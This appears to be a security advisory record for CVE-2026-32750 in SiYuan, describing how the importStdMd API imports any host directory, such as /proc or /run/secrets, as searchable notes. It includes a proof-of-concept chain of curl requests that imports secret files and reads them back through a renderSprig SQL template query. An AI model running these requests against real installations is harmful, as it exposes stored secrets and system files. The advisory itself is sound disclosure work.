Advisory

GHSA-rjhh-m223-9qqv

Also known as: CVE-2026-32750, GO-2026-4708

Summary

SiYuan importStdMd: unvalidated localPath imports arbitrary host directories as persistent notes

Details

Summary
POST /api/import/importStdMd passes the localPath parameter directly to model.ImportFromLocalPath with zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users.

Details
File: kernel/api/import.go - function importStdMd

func importStdMd(c *gin.Context) {
    notebook  := arg["notebook"].(string)
    localPath := arg["localPath"].(string)
    toPath    := arg["toPath"].(string)

    err := model.ImportFromLocalPath(notebook, localPath, toPath)
}

model.ImportFromLocalPath (kernel/model/import.go:784):

func ImportFromLocalPath(boxID, localPath string, toPath string) (err error) {
    filelock.Walk(localPath, func(currentPath string, d fs.DirEntry, ...) error {
    })
}

Unlike globalCopyFiles, there is no blocklist at all. Any readable path is accepted. The imported content is permanently stored in the workspace SQLite database and survives restarts.

Chained attack with Bug #1 (renderSprig):
Admin imports sensitive files --> content stored in blocks table --> non-admin user queries via querySQL through renderSprig.

PoC

docker run -d --name siyuan -p 6806:6806 \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit:

TOKEN="YOUR_ADMIN_TOKEN"

NOTEBOOK=$(curl -s -X POST http://localhost:6806/api/notebook/createNotebook \
  -H "Authorization: Token $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"Exfil"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['notebook']['id'])")

curl -s -X POST http://localhost:6806/api/import/importStdMd \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/proc/1\",\"toPath\":\"/\"}"

curl -s -X POST http://localhost:6806/api/import/importStdMd \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/run/secrets\",\"toPath\":\"/\"}"

curl -s -X POST http://localhost:6806/api/template/renderSprig \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"template":"{{range $r := (querySQL \"SELECT content FROM blocks LIMIT 50\")}}{{$r.content}}\n---\n{{end}}"}'

Impact
An admin can permanently import the contents of any readable host directory into the workspace as searchable notes. Unlike globalCopyFiles, there is no blocklist - /proc/, /etc/, /run/secrets/, /home/ are all accepted.

Data persists in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the renderSprig SQL injection ( separate advisory ), a non-admin user can then read all imported secrets without any additional privileges.

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2026-03-16 18:47 UTC
Modified
2026-03-30 13:58 UTC

Affected packages and fixes

github.com/siyuan-note/siyuan

Go · All systems

Affected

  • introduced 0, last affected 0.0.0-20260313024916-fd6526133bb3 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences